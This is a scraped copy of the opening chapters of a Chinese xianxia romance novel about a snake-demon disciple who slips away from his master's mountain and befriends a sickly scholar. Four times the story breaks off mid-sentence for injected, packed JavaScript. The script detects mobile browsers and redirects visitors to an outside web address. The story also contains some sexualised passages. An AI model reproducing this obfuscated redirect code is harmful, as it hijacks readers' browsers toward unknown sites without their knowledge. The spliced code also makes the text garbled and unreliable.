《珠胎暗结》 1. 下山 无极天,灵山之巅。 九霄云霭掩映之间,有一青玉殿,深广数千里,宫室林立,一花一石、一草一木皆蕴满金阳元息,冥冥杳杳,葳蕤生光。 然而偌大的宫殿中,没有仙官,没有玉女,没有侍童,没有飞禽走兽,甚至连人居住的痕迹都没有,日月台上也没有其他弟子执剑苦练,只有一位玄衣金瞳的小仙君,冒着雨和师尊的一缕剑意对决数日,无止无休,不知疲倦。 绪清今年三百岁,在仙界无疑还是个小孩儿,境界修为却已经位列元君之席。然而他并非仙家子嗣,而是蛇妖后人,乌发金瞳,雪颊丹唇,秾丽昳艳的妖态被眉目间冷霜寒雪深深覆藏,端的是兰芬灵濯,修的是冷心无情。 “唔!” 已经是第九日了。 绪清不眠不休,凛着眉眼全神贯注地对付师尊留下的这缕剑意,持剑的掌心新血旧伤斑驳淋漓,雨幕中几乎是凭着本能拧身挥剑,身法轻灵,剑气却磅礴如虹,漆黑如墨的剑身蜿蜒如蛇,是师尊亲自为他冶炼的天阶灵武。 绪清竭力接下迎面刺来的这一剑,还未站好,剑意却又以一个极其刁钻的角度挺向他的左肩,绪清筋疲力尽,躲闪不及,肩上湿淋淋的墨发转眼就被削断一缕,一阵刺骨的剧痛裹挟着浩茫的剑息袭来。 绪清承受不住那剑息,只觉得五脏六腑都挛缩发颤,伏跪在日月台上,左手持剑撑着身体,右手捂住左肩血淋淋的伤口,终于忍不住认输求饶:“师尊……弟子到极限了。” 回应他的,只有灵山雨后新霁的阳光。 绪清却猛地松了口气,仰起脸,恭敬地跪直身子,放开被紧紧捂住的伤口,闭上眼无尽依赖地感受着金阳元息中无处不在的灵气。落在他身上的冷雨被温暖仁慈的阳光尽数收回,肩上的伤口和掌心的血痕也毫无疼痛地愈合了,一点疤痕都没有留下。 伤都好了,暂时也不用再练剑,绪清却一点也高兴不起来。 又失败了。 明明只要撑过十天,师尊就答应陪他下山去玩儿。 绪清收剑回鞘,经此一役,他的修为又有长进,本就是三界最负盛名的少年翘楚,只是在灵山尊者帝壹面前,无论他修为如何突飞猛进,都只能是缠绕在他掌心的一条小蛇。 绪清抿紧唇,一言不发地从日月台飞身而下,甚至不知道是不慎还是故意,这次没有谢师尊的恩。 他回到自己住了三百年的偏殿,玉案软席、琼浆花树、彩画香风……暖融融的灵息无时无刻不在温养着他的心髓身骨,可是他已经一个人在这儿住了三百年了,早就厌烦了这一成不变的光景,不仅是寝殿、练剑台、静坐室,还是前山、后山、山脚,整个灵山,他都已经厌倦了! 他想下山。 他是师尊三百年前收养的孩子,也是师尊唯一的弟子。他本是樊川水畔一条将死的幼蛇,是师尊取出肋下一截金骨重铸他的心魂,赐他法号,收他为徒,千般道法皆亲自点化。 在他还很小的时候,师尊是不常闭关的,那段日子是绪清此生最幸福的时光。师尊会亲自托着他的两只手,带着他笨拙地蹒跚学步,他的尾巴总是收不起来,走两步就变成瘦巴巴的蛇尾巴拖在地上,师尊也不生气,只是把他抱起来,轻轻蹭蹭他的前额。 可是等到他辟谷以后,师尊就不常抱他了,绪清很失落,却又不知道怎么办,有一次故意化出蛇尾装作收不回去,结果被师尊一道灵息打在最柔软的尾腹处,好长时日真的变不回来了,一直维持着半人半蛇的丑态,连爬都困难。那地方无比靠近泄殖腔,被那道灵息罚过之后,断断续续流了许久的酸水,从那以后,绪清胆子再大,也不敢再欺骗师尊了。 师尊除了不怎么陪他,其它方面都待他极好。天材地宝从来没有短过他的,世人求之不得的金阳元息,被他随意挥霍在绪清行经的一草一木上。 然而师尊喜静,灵山上的草木虫鱼虽受天地造化所养,却一直未能开灵智,只有灵溪中一尾小红鲤,能化形作童子状,帝壹闭关时,整座山里,绪清也就只能和他说说话。 “绪清元君,尊上答应您了吗?” 阿鲤扒着门,红玉般的圆杏眼扑闪扑闪地盯着绪清看。 真是哪壶不开提哪壶,绪清放下长剑,三两步走到阿鲤面前,蹲身捏住他的脸蛋往两边扯:“你又不帮我!现在来问什么!” 阿鲤被扯得欲哭:“我哪敢去求尊上啊?我连见他一面都害怕!绪清元君未免太强鱼所难!” “尊上只会在灵识有感的时机下山,人界对他来说太喧闹了,他不喜欢。”阿鲤泫然,“元君您若是真想下山,不如自己偷偷下去来得快些,尊上他是不会答应您的。” “你疯了?!”绪清赶紧捂住他的嘴,惊疑地左顾右盼。 这正是他的计划,可千万不要被师尊的灵识听到了。 “我答应了师尊的,会好好修行,好好练剑,才不会偷偷下山。” 阿鲤:“……好吧。” 绪清当然会好好修行,好好练剑,他的天资禀赋连天帝王母都赞誉有加,他会成为师尊引以为傲的爱徒,让灵山也遍布他的灵息,和师尊的金阳元息相映成辉,有朝一日他也想成为保护师尊的那个人,所以他无论如何也不会荒废修炼。 但是,他已经刻苦修炼三百年了,从不懈怠,从不偷懒,就偷偷下山玩儿一次,就算师尊发现了,也不会严加责罚……的吧。 —— 绪清用灵力控制着一只小獾,赶它往山下走,自己则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105016|195774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装作追逐小獾无知无觉地就到了灵山北麓。 其实帝壹从未设置过出山的禁令,山门的法阵感应到绪清元君腰间的玉牌,丝毫不对他设防。 绪清非常顺利地出了山门,可心里却一直惴惴不安。他也说不上为什么,明明师尊并没有那么可怕,在绪清的记忆里,帝壹大多时候都是极仁慈极温柔的,可让他走太远,他还是不敢,只在和灵山紧邻的两界交汇处逛了逛集市。 绪清已经故意掩去了七分相貌,在人群中还是显眼,傲霜胜雪的气质一看就来历不凡。 他从来没有到过如此人潮熙攘的地方,灵山的法阵把所有的喧嚣、热闹、恩仇、善恶都隔绝在外。绪清一边记挂着要回去的时间,心想不能超过一个时辰,却在集市中迷了路,不知不觉就到了傍晚。 今天好像是人界特别的日子。 万家灯火,十里绮罗,画鼓喧街,白夜如昼。 绪清驻足在人群中,仰面看着漫天飞悬的花灯,清冷眉目也被融化三分。待到后半夜,人群慢慢散去,绪清才堪堪想起自己早该回山,此地人多眼杂,绪清不欲引人注目,于是未用法术,只加快步伐匆忙往仙界赶,不料却撞着一抱画卖钱的书生,卷轴被撞散在地,转眼间就被踩得乱七八糟,脏烂不堪。 绪清从未遇到过这等事,一时不知该如何是好,有些无措地望着书生,却发现这书生虽有病气,却生了一张神似他师尊的脸。 绪清惊讶得发出轻呼:“咦?” 他几乎是立刻就被吓住了,一动也不敢动,若非确定眼前这人没有仙骨,早就双腿一软跪下求师尊开恩了。 还好这书生只是心疼地看着满地的画卷,急得咳嗽不止。绪清哪里见过师尊如此狼狈的时候,内心一揪,顾不上害怕,连忙扑过去轻拍书生的后背:“对不住,你别着急,要多少银子,我赔给你。” 绪清在集市逛这么久,再笨也知道人界最值钱的东西是金银。他虽然没有金银在身,但无所不能的师尊肯定有的,再不济,在寝殿里偷偷撬一块青玉拿到人界来卖,也能换不少金银。 “我画了好久……”书生好不容易止住咳嗽,叹息道,“家里弟弟进山打猎伤了腿,还差五两银子请郎中,原以为今日是个卖画的好日子……罢了,和我一样,不过是烂命一条。” 书生蹲下去收拾残画,绪清听了这话哪里还走得了,当即蹲下来跟他一起捡:“我师……爹爹告诉我,一切因果皆有定数,你今夜遇到我,你以为是一个祸因,我却说是个福因,你信不信?” 书生:“不信。” 绪清那无处施展的反骨终于上来了,他看着书生,秾丽的面容上不再是不食烟火的清霜寒雪,而是胜券在握的明媚笑意:“那我就让你信。” 2. 莫迟 书生把残画卷起来,装进竹箧里,撑着膝盖起身,似是有些无奈:“你也不过十六七的年纪,为何成天说大话骗人?” 绪清一听,不觉扑哧一笑:“十六七岁?我看着像十六七岁?” 无极天赫赫有名的绪清元君,在凡人眼中居然只是个十六七岁的少年。 “不然?”书生似乎嫌他年纪小帮不上忙,自认倒霉地背起竹箧往人潮中走,“难不成才十五?” “我的年纪,说出来怕你不信。”绪清很少有这样和外人说话的机会,又自觉亏欠这书生一匣书画,想也没想便跟上去,指尖划出一点灵力托起他背后的竹箧,一边倒着步子走一边同他闲聊。 忽然,人群中两个小孩儿捂着耳朵跑走,原地噼啪炸开两声爆响,绪清还是第一次听到这种声音,神色一凛,下意识停住脚步去握腰侧的剑柄,却忘了神武早已收进灵识,一下握了个空。 “小心!” 一个小爆竹落到绪清脚边,绪清蹙了蹙眉,抬靴欲踩,那书生却仓促揽住他的腰将他往后带了带。少年潇洒利落的玄衣下是一把温软狭腰,受到意料之外的触碰便忽地一紧,那爆竹砰地炸开,绪清闻到书生怀里好闻的草药气息,浑身似乎都僵住了。 书生将他扶稳,及时放手,病容间流露出担忧的神色:“没事吧?……看路啊。” 绪清许久没被师尊这样关心过了,抬眸看着这凡人和师尊莫名有两分相似的面容,心口骤然有些发酸。但他也知道,这人不是师尊,师尊从来不会生病,也不会在人潮拥挤的街巷讨生活,师尊生来就是灵山之主,深居简出,不恋红尘。 绪清想起许多年前师尊亲自教他练剑的时候,一开始他连剑都拿不稳,师尊也会出现在他身后,亲手托住他的小臂,大手轻轻握在他腰侧,帮他纠正持剑而立的姿势。 那时师尊对他就已经比小时候严格很多,纠正完就消失了,他却要在那一站就是几个时辰,肩臂酸得厉害,手腕已经快握不住剑了,腿也开始发抖,腰身却被师尊的灵息锢得动弹不得。他是从小被师尊宠爱着长大的,气性虽然不显,但从来也算不得小,天大的委屈劲一上来,连剑都不要了,摔了剑在那缕灵息间自顾自地赌气发癔症。 师尊到底还是心疼他的,不多时便现了身,身后还跟着凤冠华袍的缃??仙尊,大抵是真的有事才把他一个人留在日月台。 当着缃??仙尊的面,师尊非但没有追究他摔剑的事,反而亲自将他从日月台上抱下来,关心他有没有伤到哪里。 绪清早就被他养成了哄不得的性子,不哄还好,一哄就来劲,眼泪啪嗒啪嗒地就落在他掌心,似是委屈极了,却又顾及着缃??仙尊在这儿,忍着声音没有嗷嗷哭。 待缃??仙尊走后,绪清又赖在师尊怀里撒了好一会儿娇,师尊和以往一样,只是静坐在灵树下将他映在眼中,无悲无喜,却又说不出地怜爱疼惜。 绪清以为这事就这么过了。 然而衔灵剑被师尊收回,冰封于万剑池内,万剑池内万年玄冰,只有师尊的金阳灵焰能化。绪清想要取回自己的本命神武,师尊却闭关不应,无奈之下,想起自己体内还有师尊一截金骨,便卧于池上,试图融冰取剑。 是有效果的。 只是冰化得很慢。 他空有师尊一截金骨,被金阳元息蕴养多年,却也改不了蛇妖天生极阴极寒的体质。池中溢散的凛冽寒气被他不自觉地轻吐蛇信卷入口腹,清冷自持的眉眼染上姝红艳色,双腿不知何时早已化作粗肥黑亮的蛇尾,难耐地在冰面蜷绕纠缠,似乎是本能地在模仿蛇窟中群蛇媾合的场面,淫.贱而不自知。 这是绪清第一次真正意义地明白,原来自己是条蛇。 衔灵剑取回去了,可是绪清却蜷在自己的寝殿里,很长一段时间,都没有再出现在日月台上。 直到帝壹出现在他的床边,将他从软被里抱出来,掌心托起他瘦了一圈的下巴尖儿,问清儿怎么了。 绪清好难过,埋在师尊纤尘不染的怀里失声痛哭,哭累了,化作一条细鳞的小蛇,蜷在师尊掌心,就什么烦恼都没有了。 “……吓着了?怎么愣着不说话?” 书生见他久久不能回神,扶住他肩膀轻轻晃晃他。 绪清突然伸手摸了摸自己腰侧的玉牌,拂开他的手,面色凝重:“我得回家了。” 书生静默一瞬,神色微妙地变了变,很快又恢复如初:“好,你走吧,我不怪你。如今这世道,哪怕是至亲血肉的话且当不得真,何况你我萍水相逢。” 绪清觉得他这人说话绕来绕去,挺有意思:“你叫什么名字?等我下回出来玩,一定来找你。” 书生苦笑:“我弟弟受了重伤,能不能筹到钱治还不一定,恐怕没法陪你玩儿。” 绪清自出生以来一直以灵花灵草为伴,饮的是玉髓花浆,吃的是素莲甜雪,戴的是金乌羽叶,除了那块元君玉牌,身上没有任何俗世值钱的物件,眼下却又着急,忽地记起玉牌下还有无极玉珠一颗,迟疑一瞬,还是摘下来放进书生手里。 “我说过的吧。”绪清眉梢一挑,唇珠含笑,“你遇见我,是碰到了大机缘,算你走运。” 书生看着那玉珠,也笑了:“真不害臊。” 他笑起来眼睛是完全眯起来的,有种温和却又冷冽的气质,绪清好奇地看着他的脸,眼睛一眨也不眨。师尊笑起来也会是这样吗?灵山杳杳三百年,他还从未见师尊笑过。 不止是笑,怒,悲,憎,喜,恶,他都没有在师尊万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105017|195774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年如一的脸上窥见过。 “我叫莫迟。你呢?”书生终于肯告诉他名字。 绪清心里默默地念了两遍,莫迟,莫迟,倒是个好名字。 “我叫绪清。” “灵台明净,万绪皆清的绪清。” —— 他交到朋友了。 第一个人族的朋友。 绪清踏进法阵,脚步轻快,一刹那灵山风吹影动,丰茂润泽的灵草簌簌作响,山间传来舒妙无言的香风。 趁着月色,绪清未施法术,负剑行走在山间蜿蜒的小道上,并不着急回灵山之巅。寝殿里什么也没有,阿鲤晚上也不住在青玉宫。 绪清走了好一会儿,忽然抬头仰望夜穹中高悬的圆月,如果不是夜夜对着这轮明月寂寞地入眠,他或许也会觉得灵山的月色很美。 灵山没什么不好,四季流转,昼景清和,和人间一样,有着草长莺飞的时节,薰风过雨的暖夏,山枫胜火的暮秋,万花摇落的残雪。上至三十三重天,下至九幽地狱,没有哪里的景色能比灵山更好了。 可是这里太安静了。 风一停,万籁俱寂。 绪清耳边止不住地响起人潮的喧闹声,市井的叫卖声,爆竹噼噼剥剥的炸响……莫迟低声带笑的揶揄。 他觉得心口有点闷,于是深吸一口气,憋住,再缓缓呼出一口冰凉的蛇息。 不知走了多久,这样循环往复了多少次,最终他还是回到青玉宫,回到自己的寝殿,和衣睡下,却久不得眠。 他想起莫迟那张有两分神似师尊的脸,又想起师尊。 师尊此刻正在做什么呢? 修炼? 师尊的境界早已深不可测,天上地下,仙魔鬼妖,再无能入他法眼的对手,为何还要把无尽的寿命都耗费在修炼上? 那么对于师尊来说,弟子又算什么呢? 清儿又算什么呢? 绪清躺在床上,翻来覆去,最后干脆化成蛇形,把自己蜷起来盘成一团,脑袋埋进自己的尾巴里,过了好久,才勉强入眠。 明月朗映的寝殿,青纱掩映的床帏忽然无风轻动,青玉砌的地板上,忽然多了一道身影。 那身影无声无息,长身巍峨,融在月色和夜影里。 一缕金色的灵息穿过罩在小蛇身上的玄衣,挑起了衣间那枚青玉牌,玉牌下的流苏坠子不知何时被扯坏了,上面的无极玉珠不知所踪。 夜色似乎有一丝凝滞。 不是错觉。 整座灵山的时间静止了一刹。 帝壹淡然垂目,看着玄衣间缠成一团的小蛇,以及玄衣腰封上若隐若现的魔气。 长大了。 不仅学会了偷偷下山,还和赤魔厮混在一起。 3. 金阳 绪清修炼很是刻苦,霜露未散时起身已经是经年落下的习惯,更何况前一天晚上还瞒着师尊偷偷下过山,心中不安,没两个时辰就彻底睡不着了。 他早已辟谷,对睡眠也不大依赖,只是灵山夜里静谧无聊,不睡觉也只能对月虚坐。 寅时,月照纤帘,帘中蛇化作青年身,酣卧衾间,面颊鲜红,眼湿懵懂,乌润长发如水藻般遮去了大半熟美腻软的身体,肚子上盖着薄衾一角,睡姿极差,双腿以一个很怪诡的姿态往两边曲着,疏冷月影下露出一点淡红的湿心。青玉宫,元君殿,榻上人非但没有一点超尘脱俗的仙人之姿,反而如同渴欲饮血的艳妖,横陈榻间,艳靡无比。 绪清的相貌其实本来该维持在人族二十岁左右的样子,但他自己不太喜欢自己这时候的长相,总觉得妖气过重。他乃仙门正派,灵山尊者座下嫡传弟子,举手投足都应是三界典范,这副模样要是被其他仙门的弟子看见了,恐怕会有损师尊清誉。 很快,榻上一阵冷雾袭过,原本艳靡的蛇妖转眼间就变成了青涩矜雅的少年,眉眼五官变化甚小,周身气质却浑然不同。绪清在两百来岁的时候身体发生过极大的变化,那时候没来得及控制,某天在池中沐浴嬉游才发现自己完全长成了蛇妖的模样,气得他绝食三日,蜷在元君殿不出来,直到师尊教会他容貌变幻之法才勉强接受现实。 他喜欢用人族十六七岁的样貌示人,尤其在师尊面前,他会特别注意自己的仪态,无论何时都不会让自己失仪,加之这幅样貌还盈着稚气,万一师尊见了心软怜惜,倒是意外之喜。 绪清从榻上起身,张口懒懒打了个哈欠,清冷月光下吐露出整条小树桠般细长的蛇信,足尖轻点,于青玉地砖间漾开数圈猩红的涟漪,眨眼间玄衣靴袜就已经穿上,腰间元君玉牌也稳稳佩好。 也不知道今日师尊是否出关,绪清用仙花雨露净了面,挑起一盏小蛇灯,翻看起藏书阁中该看的秘籍,长发未束,随意地披散在肩,冷白尖俏的下巴轻轻搁在左手掌心,右手一页一页地翻过泛黄的书篇。 “太玄三清九灵心经……万神自守其真……不然者……万神自逝……天地……嗯……” 奇怪,本来在榻上不想睡的。 绪清薄而白软的眼皮止不住地轻颤阖起,漂亮的金瞳被睫绒遮得严严实实,口中舌不知何时又化回鲜红的蛇信,缓缓地吐出一点树桠般的小尖。 “砰!” 绪清的前额一下砸到温润却坚硬的青玉书案上,雪白的额面很快泛起一团红晕,绪清一脸茫然地趴在书案上,良久,才瘪了瘪嘴,一脸委屈,自己抬手揉揉自己肿痛的额心。 他是有师尊的蛇啊。 绪清这样想着,眼眶里突然模模糊糊泛起一阵酸涩,他已经七十八天没有见到师尊了,师尊闭关的时间时长时短,短的时候不过数日,长的时候一连几年见不着人,紫霄殿外金阳法阵镇护,连诸天神佛都无法靠近。 “元君,怎么这么早就起身啦?” 阿鲤抱着自己偶尔要睡的云母琉璃鱼缸,正打算去换些活水,却见藏书阁里一盏长灯,灯型如蛇,蛇口衔着一颗婴儿拳头大的明珠,明珠里燃的是金阳真火。 绪清默了默,神色恢复如初,看向阿鲤:“睡不着。师尊有说什么时候出关么?” “元君都问了七十七次了,怎么还问呀?”阿鲤把鱼缸放在藏书阁外,提着衣摆跑进去,站在小玉凳上给绪清束发,“元君没来灵山之前,尊者百年出关一次,几乎是定数,这些年已经算出关很频繁了,要是一直像元君小时候那几十年,寸步不离地守在元君身边,元君您又该嫌尊上烦了。” 绪清被阿鲤大逆不道的话吓得脸色一白,扭身将他从背后抱进怀里,作势狠狠打两下屁股,容色冷肃:“胡说什么?” “阿鲤才没胡说。”阿鲤嘻嘻笑道,小手揪住他耳畔长发,“世人眼中高不可攀的灵山,元君看久了不也觉得无聊至极么?” “……我从未觉得灵山无聊至极。”绪清把阿鲤放在地上,起身往外走,“再让我从你口中听到这些话,我就让师尊把你给炖了,做红烧鲤鱼。” “元君不会。”阿鲤抱着鱼缸,小跑着跟上来。 是啊。他不会。 否则他在灵山,是真的连一条会说话的鱼都找不到了。 “元君若是觉得寂寞,何不去凤仪山找青鸾元君玩儿?” 那青鸾元君乃是缃鸑仙尊座下嫡传弟子祝青仪,偌大的无极天也就他俩年龄相仿,都是极年幼却也极金贵的小仙君,脾气却很不对付。怪只怪那祝青仪初次见面就化作一只小肥啾停在他师尊指尖,气得绪清蛇口大张差点咬掉他半边翅膀,祝青仪也不是好招惹的,鸟喙中当即吐出青鸾真火把绪清浑身燎了个遍,再不松口就要变成烤蛇。 一旁蛇飞鸟跳,那两位向来不爱看热闹的师尊居然在一旁悠闲地下棋饮茶,最后还是缃鸑先看不过去,拿扇子把自家小鸟捞回来,笑吟吟地将绪清托在掌心:“小蛇君,还望念在你小时候本座还抱过你的份儿上,别跟小青仪一般见识。” 祝青仪非常可恨,鸟仗人势,站在缃鸑的扇面上冲着他叽叽啾啾地放狠话,绪清也是师尊的掌上明珠,从小被宠爱着长大的,哪里受得了这鸟气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105018|195774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当即窜上去绞缠住那肥啾,蛇口费力地咬住它满是绒毛的圆脖子,还未用力,就被师尊捏住七寸捉了回来。 那是师尊第一次捏他七寸,还是当着外人的面,绪清小小的蛇脑袋气得不清醒了,居然反口咬在师尊手腕,虽未见血,却惹得缃鸑仙尊抬扇掩面,极短促地笑了一声,旋即正色宽慰:“蛇族天性顽劣,调教调教就好了。” 虽然师尊面上未显,但似乎在场所有人都知道他心有不悦,祝青仪缩缩翅膀钻进缃鸑衣襟,绪清反应过来,魂都被吓飞了,好在师尊仁慈,并未动怒,只是捏开蛇嘴用指腹轻轻磨了磨他的蛇牙,说了句孩子还小。 …… “你又不是不知道,我跟他从小就不对付。”绪清光是听到他的尊号就心里发堵,才没那个闲情逸致跟他到人间游历,再说,他在人间已经交到朋友了,哪里需要再去看祝青仪那张小鸟得志的脸。 “那除了青鸾元君,无极天还有许多仙君,何必舍近求远?” “你是说那些活了几千年的老神仙?”绪清这张脸就只有面无表情的时候才能装装清冷疏离,稍微一挑眉,眸光流转间便满是鲜活的少年意气,“他们见了我,要么问我师尊近来如何如何,要么问我近来修为有无精进,再要么就是话里话外暗示我邀请他们到灵山做客,可笑,横竖都是些场面话,我耳朵都要听出茧子了。” 阿鲤笑得见牙不见眼:“几千年就是老神仙?尊上的岁数可远不止几千岁呢。” 绪清飞上日月台,拔剑指向阿鲤:“你少在这儿煽风点火颠倒黑白,师尊哪天要是被你惹生气了,我才不保你。” “上来,陪我练一场。” 阿鲤无奈,摊开手笑笑,旋身化作和绪清年龄相仿的红衣少年,持一把阴阳双鱼剑跃至高台,拔剑和绪清切磋:“元君真会说笑,圣人忘情,怎会因我等微末灵物生气?” 绪清似乎不是很认可他的话,可又找不到反驳的理由,于是剑势愈发疾厉,步步压着阿鲤出招,两剑激撞,大开大合,重光飞掠,虚影难辨,饶是阿鲤早有千年修为,一时还是难以招架,不久便败下阵来。 “不来了不来了!”阿鲤赶紧变回小童模样,坐在日月台上耍赖,俄尔双手合十不知在向哪儿祈祷,“尊上,快管管绪清元君吧,他老是欺负我!” “恶鱼先告状。”绪清收剑回鞘,也跟着坐在日月台边缘。此时山间雾岚初歇,极天之云隐隐映出红光,阿鲤安静地靠在绪清怀里,抓住他一缕乌发,调皮地抬手扫扫他雪白的脸颊,绪清却没有任何反应,只是纵目远望,看向天边那轮看似温暖、实则薄凉的金阳。 4. 凡花 “阿鲤。” “嗯?”阿鲤翻身坐到绪清怀里。绪清虽不是天生地养的纯灵之体,却也久沐灵山至纯至真的仙气,大蛇的冷腥味被青玉宫温雅的百和熏香中和成一股生杏仁的涩甜,淡淡的,很好闻。 少年怀抱单薄却不柔弱,一手持剑,一手摸摸阿鲤软软的头发:“若我闭关一段时日,阿鲤会觉得孤单吗?” “不会啊。”阿鲤圆圆的红眼睛望着绪清,宽慰道,“元君没来的时候,阿鲤一条鱼在灵山也过得很好。” 绪清看着他,忽地笑了笑:“原来如此。真羡慕阿鲤,一条鱼也不会觉得孤单,我要是没有阿鲤的话,都不知道该怎么办。” 阿鲤玉藕般的短胳膊抱住他后颈,仰头蹭蹭他额角:“那阿鲤永远陪着元君好不好?” “好啊。”绪清也抱住阿鲤,一条蛇,一尾鱼,化作人形也都是温凉的身体,抱得再紧也无法感到丝毫暖意,虽然他们都是灵体,并不畏冷,但记忆里确实存在无尽温暖的怀抱,隔绝了灵山之巅茫茫皑皑的积雪。 当天,绪清真的闭关修炼了。 他很少闭关,每次功法突破都是日月台上一招一式杀出来的,并不擅长也不喜欢打坐入定,这次也没真的闭关几天,就故伎重施溜去人间了。 他想见莫迟,想问他弟弟的伤治好没有,他身上的病有没有好些,那些被踩脏的书画被他放到了何处……他想和他说话,他觉得孤单。 天罡三十六法,师尊早已尽数传授给他,在灵山却少有用武之地,刚到人间,绪清金瞳一闪,他的隔垣术已经修炼到地阶,能在方圆千里之境找到想要追踪的人—— 找到了。 平乐巷,一椽破屋,有魔气。 无极天众仙门皆以降妖除魔为己任,绪清虽是妖族,斩杀恶妖大魔却毫不手软,仙门大典除魔卫道的比试,绪清年年都是榜首,每次都要压祝青仪那笨鸟一头。 每年这时候绪清都很高兴,因为师尊也会出席仙门大典,在仙门至尊的位置面南独坐,群仙数千,芳华满盈,师尊的目光却落在他一人身上,向来无情的目光中流露出赞许。 为了这一刻,绪清杀魔永远抢在第一个,衔灵剑下伏诛的大魔不计其数,连影月殿的少主都惨死在他蜿蜒蛇剑之下。绪清这个名字,早已被魔界穷凶极恶的魔煞鞭刻在噬魂碑上,若非金阳元息护体,他早就被魔鞭抽打得筋骨尽碎魂飞魄散,永无超生之日。 但绪清本人似乎并不知道。 他循着魔气,在夜色中向平乐巷飞奔而去,脚步矫捷,有意识地控制着体内的灵气,转眼就抵达了巷口,在两排破破烂烂的屋子之间找到了魔气的来源。 是一只低阶影魔,正张开扭曲满溢的尖牙,流着恶臭的涎水试图咬下书生的颅骨,书生已经被逼到了墙角,双手握着一根木棍,赤着眼死死抵抗。 绪清眼看着书生就要被影魔咬断脖子,怒不可遏,顾不得考虑太多,召出衔灵往前重重一斩,一道猩红剑光飞掠而上,瞬间将影魔绞成一团血雾。 “莫迟!” 绪清飞奔进门,见莫迟还愣着,快步走近蹲在他身前,担忧地捧起他沾满魔血的脸:“没事吧?” 书生怔忡良久,看见他腰侧的剑:“你……” 绪清注意到他的目光,也反应过来,心念飞转正想着要如何解释,书生却突然凑近他,握住他冰凉的手,漆黑的眼睛望着他,犹如望着从天而降的神灵:“你救了我……是你救了我,对吗?” 绪清指尖一僵,看向他修长宽大的手,和那指节侧边薄薄的笔茧,太近了,他似乎能在腥臭的魔血中闻到他身上淡淡的草药味和墨汁的清香,这回绪清注意到的不是他神似师尊的面容,而是他浓黑如墨的眼睛,和他鼻梁上那颗师尊没有的痣。 “嗯。”绪清觉得他的手很热,目光也很热,他的心好像被这突如其来的靠近烫得轻轻一抖。绪清好像这时才发现莫迟长得很好看,不是因为他和师尊那两分神似才好看,而是他眼中那道好像只装得下绪清一个人的目光,让绪清觉得他很好看。 “我不是说过么?”绪清看着他,神色变得很柔和,“遇见我,是你的大机缘。” 书生听了这话,蓦地阖眼笑了笑,惨白病容间浓重的倦色,却还强撑着和绪清说话:“上回是我有眼不识泰山,还望仙长勿要怪罪。” “何来怪罪一说?是我先撞坏你的书画的。”绪清看他状态不好,抬起他的手臂放到自己肩上,试图将他扶起来,“好了,你先不要说话,我找找有没有你可以吃的丹药。” 说起这个,绪清突然想起:“你家里不是还有个弟弟?怎么不见——” 他话说到一半,忽地住了口。 莫迟的身形骤然恍惚了一瞬,似乎是被他提起伤心事,闷咳数声,终于呕出一口鲜血。 他捂住脸,肩膀剧烈地震颤起来,压抑的哽咽和滚烫的泪水从指缝中淌下,绪清一下全明白了,看向满地的魔血,内心既愤怒又哀伤,却又不知道该做些什么才能安慰到自己在人间唯一的朋友,十六七岁的怀抱太小,莫迟又太高,很难将莫迟抱进怀里,绪清迟疑片刻,还是恢复到二十岁左右的身貌,轻轻拥住他的肩膀,不知不觉也湿了眼眶。 “对不起,若我能来得再早一些……是不是就不会这样了?” 莫迟流着泪,怔怔地看向他拥在自己左肩的手,又转脸看向他昳艳得过分的脸,似乎不能明白到底发生了什么,茫然问: “绪清,你是仙……还是妖?” 这个问题,有时候绪清也不知道,他默了默,反而去问莫迟:“你觉得我是仙还是妖?” 莫迟深深地凝望着他,那目光让绪清感觉到难以招架,但是他并没有移开视线,他觉得眼睛是个很美丽、很神奇的地方,它很纯粹,把内心深处连自己都无法表达的情绪袒露给对视的人,绪清不知道自己想从莫迟口中听到什么样的答案,过去三百年里,他极力想证明自己不是妖,但往往很多时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105019|195774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候天不遂人愿。 莫迟大概没见过仙,也没见过妖吧,看了这么久,却只是低低说了一句:“你是绪清,就够了。” 